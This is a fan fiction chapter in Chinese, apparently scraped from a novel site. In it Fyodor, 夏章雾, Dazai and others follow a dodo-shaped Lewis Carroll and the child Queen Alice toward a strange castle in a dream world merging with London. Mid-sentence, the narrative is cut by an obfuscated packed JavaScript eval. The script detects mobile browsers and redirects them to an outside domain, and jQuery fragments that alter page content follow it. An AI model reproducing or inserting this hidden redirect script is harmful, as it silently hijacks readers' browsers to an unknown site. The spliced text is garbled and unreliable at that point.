事实证明,就算有人长着翅膀在天上飞,也是能轻而易举地把人类对天使的滤镜打碎得一干二净的。
费奥多尔微不可查地轻轻叹了口气,看着对方和慌不择路的鸟一样飞到后面,然后扭头去看他逃过来的方向。
“这里真的好高——”
小女孩害怕又担心的声音远远地响起:“笨蛋伊迪丝,你飞的时候小心一点啊!我们都快要掉下去了!”
“好累,好累啾……”
委屈巴巴的另一个女孩声音传来。
“肯定是掉不下去的,笨蛋爱丽丝。”
另外一个显得有些傲慢的女孩子声音这么教训道:“我们两个都在拉着你呢,怎么想都不会掉下去。”
“可是我感觉已经快要掉下去了呀?”
小女皇本来还带着点哭腔的声音就这么逐渐变成了困惑:“而且为什么你们拉着我就不会掉下去?我感觉你们也有很可能掉下去,更何况我们现在就正在下落!”
“哎呀,因为……因为……”
吸蜜鹦鹉想了半天,最后发出了相当骄傲的声音:“因为我比你大,所以你得听我的!”
“听上去真不公平。”
爱丽丝说:“而且我们现在都快要掉到地面上了……哎呀!”
天空中的黑点就这么掉落下来。
费奥多尔再次叹了口气。
活了几百年的侦探先生突然明白了自己在应付这里情况时得心应手的熟练度到底是从哪里来的:这里生物满脑子不着调的想法和某位先知先生实在是有点太像了。
“我想,她不是看到您才哭的。”
他对偷偷摸摸从后方重新摸过来的夏章雾说道:“她大概是因为恐高。”
“是、是吗?”
夏章雾努力若无其事地站了出来,但可以看出来他还是心虚得要命,尽可能地把自己压缩在费奥多尔的后方。
“不过她应该还没看到我吧?看到我后会不会哭得更大声?”
他嘀嘀咕咕着:“等等,我本来就不在意她是不是因为我哭的,我在意的就是她有没有哭。哭起来的小孩子真的很烦人。没人想面对哭个不停的小孩子,说又说不通,劝又劝不住……”
这番言论就连坂口安吾都能听出来纯属于胡言乱语。而且这种事他也很熟悉:当初某个大人第一眼看到他的时候也差不多就是这个状态。
只能说有的人在遇到会哭的未成年人后,整个思维逻辑都会降低到零点。
坂口安吾默默扶额,随后抬起头,无奈地看了眼费奥多尔先生,转身就走。
他觉得自己现在最好还是去找那位从天上掉下来的爱丽丝女皇为妙。
话说回来,总感觉这么丢脸的事故更像是会发生在勒托先生的身上,以至于看着对方现在还完完整整地站在这里,总有点说不上的违和感。
“勒托先生。”
费奥多尔看了眼没入人群的坂口安吾,默许了对方的行动,然后喊了声夏章雾的“名字”。
“嗯?”
正在尝试压缩自己的夏章雾闻言谨慎地探出半个脑袋,先是左顾右盼一番,确定完周围的风险后才开口:“干什么?”
“除了爱丽丝陛下,您还有什么发现吗?”
费奥多尔问。
他酒红色的眼睛很认真地看着对方,像是笃定了他刚刚因为小孩子还在场,所以没有说出全部的内容。
“发现……”
这下夏章雾也不急着压缩自己了,他挑了下眉,双手环抱:“在上面飞的时候看到了大本钟算不算?这里和现实的距离真的越来越近了。”
“听上去并不是那么出人意料。”
费奥多尔歪了歪头,这么说。
“实际上还是挺出人意料的:要不是我还认得那个表盘,大概都猜不出来那个充满创意的玻璃喷泉和大本钟有关。”
夏章雾耸耸肩,然后望向周围:“与其说是现实中的东西,倒不如说是以现实为素材拙劣缝制的伪物,把现实的形象用无法理喻的逻辑重新构成的结果。”
混乱而又毫无意义的元素堆砌,倒是非常有这个文学负面体的风格。
“但它还没有真正地和现实重叠。”
费奥多尔抬起眼眸,语气平静:“现在还有彻底终止它的机会。”
如果这个死亡世界与活人的现实重叠乃至融合在了一起,就算不管“大家现在到底算活着还是死了”这样的终极哲学问题,想要杀死这个文学负面体也会麻烦得多。
到那个程度后,有谁敢说杀死它后不会连带着整个现实世界不一起崩溃呢?
夏章雾眯起眼睛,看着玻璃天空中倒映出的大地上的影子。
——他现在有点明白,这次的文学负面体为什么那么轻松地就让爱丽丝把所有人类完整的灵魂给还回来了。
因为它已经找到了更多的、足以装点自己的素材,已经找到了足以填饱自己胃口的东西。它想要一口气地吞下整个地球人类的灵魂,乃至于整个现实。
“你判断还有多久时间?”
夏章雾短暂地闭上眼睛,开口问道。
“应该还有五六个小时。现在这里出现的和现实有关的事物并不算多,而且现实世界中的人类也没有出现。”
费奥多尔给出了相当专业的回答:“最重要的是,我们现在需要找到对应现实中白金汉宫的地方。如果没有阿尔贝蒂娜,我们的计划就缺少最重要的一步。”
阿尔贝蒂娜女王。
她现在应该就在现实的白金汉宫当中,那里是女王的居所。但这不重要,重要的是那个“我们的计划”是什么情况?
我和你聊过我的计划了吗,怎么就突然变成“我们”的计划了?而且你怎么摆出一副非常知道我的计划到底是什么样子,做人到底能不能有点分寸和边界感啊?
夏章雾虚起眼睛,正想要和对方聊聊“人与人之间距离感存在的必要性”的话题,就被身后传来的声音给打断了。
“大叔大叔!”
一个毛茸茸卷毛脑袋从后面冒了出来,鸢色的眼睛闪闪发光:“原来你最后落到这里了,能把翅膀再给大家看看吗?之前只看到了一眼,真的超级——好奇的!对不对,卡罗尔先生?”
“渡渡?”
刘易斯·卡罗尔发出有些尴尬的叫声。
夏章雾:“……”
他面无表情地变出身后的翅膀,用力地给这没大没小的崽子来了个大逼斗,听到对方可怜兮兮地“哇”了一下才满意地把翅膀收回去。
“凑过来干什么?”
他说,同时觉得自己最近对太宰治说这种话的此时是不是有点太多了。
“呜呃,我就说大叔不是天使吧,真的天使哪有拿翅膀扇人的,感觉就是什么换了个翅膀模板的恶作剧小精灵。就是童话中住在烟囱里、还会给家里制造麻烦的那种……咳咳,我是说,我们刚刚发现了特别有意思的东西哦!”
本来还在悄悄和织田作之助嘀咕的太宰治立刻转过头,用特别大的声音说道:“我们发现前面有一个超级大的城堡!”
渡渡鸟看样子很想用翅膀捂住脸,但他的翅膀太短了,姑且做不到这一点,于是只能勉为其难地在旁边附和性质地“渡渡”两声。
夏章雾双手环抱,换了个站姿:“城堡?”
“至少乍一看是很像城堡啦,但实际上还有一点像是宫殿。而且看上去就是很有那种意义不明的感觉,像是用乱七八糟的东西模仿着城堡制造成的。”
太宰治说完后就看向织田作之助,像是生怕大人不相信他的话:“我说的没错吧,织田作?”
夏章雾挑了下眉:“那像白金汉宫吗?”
不不不,完全不像。
太宰治带着点无语的眼神清晰地传达出了这个信息。而织田作之助很认真地思考了几秒,最后尝试性地说道:“它们的主体颜色都是白的?”
除此之外确实没有什么相似的地方了。
“好吧,那还是挺有可能的。毕竟大本钟也除了都有钟以外也完全不像。指个位置。”
夏章雾耸了耸肩,然后望向费奥多尔:“你是打算和我一起去,还是——”
这句话并没有说完。因为夏章雾说到一半时就很谨慎地闭了嘴,意识到了自己的这句话有相当不对劲的地方。
“如果他要和你一起去的话,你是不是打算抱着他飞过去?”
画外音在旁边发出意味深长的感慨:“哎呀呀,不愧是车啊,果然是带着国王四处乱跑的移动城堡。你确定不是之前抱着人家上楼梯养成习惯了?才一次就有这习惯了吗?”
夏章雾被噎住了:“……”
开什么玩笑,他根本就对抱着这个混蛋侦探飞来飞去没有兴趣好不好!这次那家伙又不会给自己一千英镑,他凭什么要抱着人到处飞啊!飞也是很累的!
“你听上去很有底气。”
画外音笑嘻嘻:“但你敢不敢把你脑子里的内容说出口,而不是在这里对我说。”
夏章雾没吱声,非常果断地一扇翅膀,就这么飞走了,一副完全没有把自己剩下来那半句话说完的打算。
费奥多尔轻轻地笑了一声。
“所以大叔那没说出口的半句话是什么?”
太宰治踮起脚尖看了一眼,小声地对旁边的织田作之助与渡渡鸟吐槽道:“该不会是想要把费奥多尔先生给提溜过去吧?”
“可是成年人很重的吧。”
织田作之助思考了几秒,最后十分客观严谨地说道:“有可能提不起来。”
“但大叔他都可以穿着这么——重的铠甲在天上飞来飞去耶!”太宰治言之凿凿,“再带一个人也肯定完全没有问题!”
“渡渡……”我总感觉夏教授要是听到太宰你说的话,会把你揍一顿。
卡罗尔无奈地叹了口气,然后抬头看向费奥多尔,发出询问的声音:“渡渡渡?”
“坂口先生去找爱丽丝陛下了。”
费奥多尔看懂了他的意思,开口说道:“到时候麻烦你们带他们走到你们刚刚看到的城堡。我先去给这些人指一下城堡的方向,然后就和勒托先生一起去那里。”
“渡渡。”
卡罗尔拍拍翅膀,发出姑且可以被理解为同意的声音,表情有些复杂,与那张天生就带着愚蠢滑稽色彩的鸟类面孔格格不入。
他大概是在思考这个世界爱丽丝的事情,也有可能是在想自己为什么保持了渡渡鸟的外形。但说到底,也没人能看出来一只渡渡鸟的内心到底有着什么样的心思。
但总之,他还是用嘴咬着太宰治的衣角,笨拙地和织田作之助一起把他给拖走了,打算去看看那个可能只有一部分才被自己认识的爱丽丝。
而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426242|164449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在不远处,从天上摔下来的爱丽丝小女皇则是晕头晕脑的。一只吸蜜鹦鹉有些心虚地在抖着自己的羽毛。
“天啊,我们刚刚竟然从那么——高的地方掉了下来!”
小女皇抬头看着天空,擦擦眼眶里的泪水,发现自己没有什么事后又很快开心了起来:“伊迪丝,罗丽娜!我发誓以后就算是从屋顶头朝下地摔下来,我肯定会一声不吭的!”
“真的吗?”
吸蜜鹦鹉挑剔地说:“可是我觉得你肯定会很大声地哎呦一下。”
“也许真的会哎呦一下?”
爱丽丝女皇实际上自己都有点不确定:“不过我想在那之后我肯定不会说话的。不过真是神奇,现在我一点都不疼了!”
她扶着王冠,跳起来走了两步,不过很快就意识到自己的行为有点失礼:女皇应该用更淑女的姿势来参加宴会才对。
于是她立刻站直身子,学着大人,很是严格地教训起了自己:“爱丽丝,你要当好女皇。可不能被其他的国王和王后看到后笑起来!这可是你第一次、第二次……哎呀,总之就是很少见地去参加别的国王的宴会!必须得有教养一点!”
她教训得那么严厉,以至于说完话后自己都觉得有点委屈,嘴巴撇了撇,又忍不住为自己辩驳道:“可是到底什么叫做有教养呢?”
“更何况我是接受邀约来的,但是现在连城堡在哪里都不知道。”她很是振振有词地说,“勒托先生也完全没有过来接人的意思。明明都说好了呀。”
“我觉得你被放鸽子了。”
吸蜜鹦鹉罗丽娜很有经验地说:“也许人家根本就没有打算过来接你。”
小鹰发出迷茫的“叽叽”声。也许她才是当前所有生物里最搞不清状况的那个。
“最近的事情真是稀里糊涂。”
爱丽丝女皇说:“之前我明明还在宴会里面听演讲呢,结果不知道为什么,一切都变得乱糟糟的。简直就像是上次我去参加我自己的宴会时一样。真是让人受不了!”
“我没有办法做出评价。因为我根本没有参加你的宴会。”吸蜜鹦鹉高傲地说,“你玩的游戏实在是太笨蛋了。”
“你也很坏,罗丽娜!”
爱丽丝气鼓鼓地说,然后摆正了王冠:“不过我觉得这里面肯定有一个坏蛋在捣鬼!如果我抓到,如果我抓到那个坏蛋的话……”
“你要怎么样?”罗丽娜歪了下头。
“我要把他变成一只猫!”
爱丽丝气势汹汹地说:“我一定要!”
“哇哦。”刚刚来到这里的太宰治躲在最新出现的建筑物后面,忍不住发出了一声感慨,想象了一下夏章雾或者费奥多尔变成猫的样子,“这下我都想告诉她罪魁祸首到底是谁了。”
“我对此不想做出任何评价。”
被太宰治他们后来追上的坂口安吾有些无奈地扶额:“因为我感觉要是真的被变成猫了,我们倒的霉可能比他们还是人时还大。”
“哇喔,安吾你也学坏了!所以你也很想看看大叔和费奥多尔先生变成猫是什么样吧!”太宰治的眼睛一下子亮了起来,“那织田作你呢?你期不期待!猫是不是超级可爱的!”
“确实挺可爱。”
织田作之助有些困惑地点头:“不过……”
“那我们就直接冲上去告密——唔唔唔!”
事实证明,就算是别的大人不在了,也不要忽略某位外表渡渡鸟,但内心实际上是成年人的刘易斯·卡罗尔先生。
明白自己谁都没有办法指望的渡渡鸟一路走到爱丽丝女皇的面前,在小女孩和鸟雀们好奇的目光下沉默了片刻,发出“渡渡渡”的声音。
“咦?你是谁?你的眼睛看上去真的很容易让我想到白骑士先生。但他是骑士,不是鸟。而且绝对没有你那么奇怪。”
爱丽丝女皇顿时忘了自己要生气了,有些好奇地伸手摸了摸渡渡鸟的羽毛:“真令人惊讶,我从小到大都没有见过这么奇怪的东西!你们能听懂它在说什么吗?”
“这个嘛。”
罗丽娜说:“他一直在说渡渡。别的我也听不懂。”
小鹰“叽叽”地叫起来。
“我明白了。”爱丽丝歪了下脑袋,先是不解地看了几秒,然后恍然大悟地一拍手,眼睛亮晶晶的,“原来你是和伊迪丝一样的笨蛋!”
“渡!”
卡罗尔发出反驳的声音,然后毫不犹豫地伸出翅膀,把太宰治他们所在的位置给卖了,又跑了回去,拽着坂口安吾的衣角就拖了出来——他现在急需一个正常的翻译器!
“呃。”被拽出来的坂口安吾有点不好意思,他咳嗽了一声,“你你好,女皇陛下?”
爱丽丝女皇歪头看着他。
“渡渡渡!”卡罗尔在旁边大声地提示道。
“我们是带你前往城堡的。”坂口安吾瞬间松了口气,直接选择把对方的话翻译出来,“勒托先生带着其他人先走了。您来得晚了点。”
“诶,原来是我们来晚了吗?”
爱丽丝女皇惊讶地睁大眼睛,主动往前方跑了过去:“那就赶紧走呀。我可不想错过别的国王的宴会!爱丽丝爱丽丝,你要是错过宴会了,那可就太不淑女啦!”
“我感觉你被骗啦!笨蛋爱丽丝!”
那只小吸蜜鹦鹉不太高兴地喊道,然后也跟着飞了上去。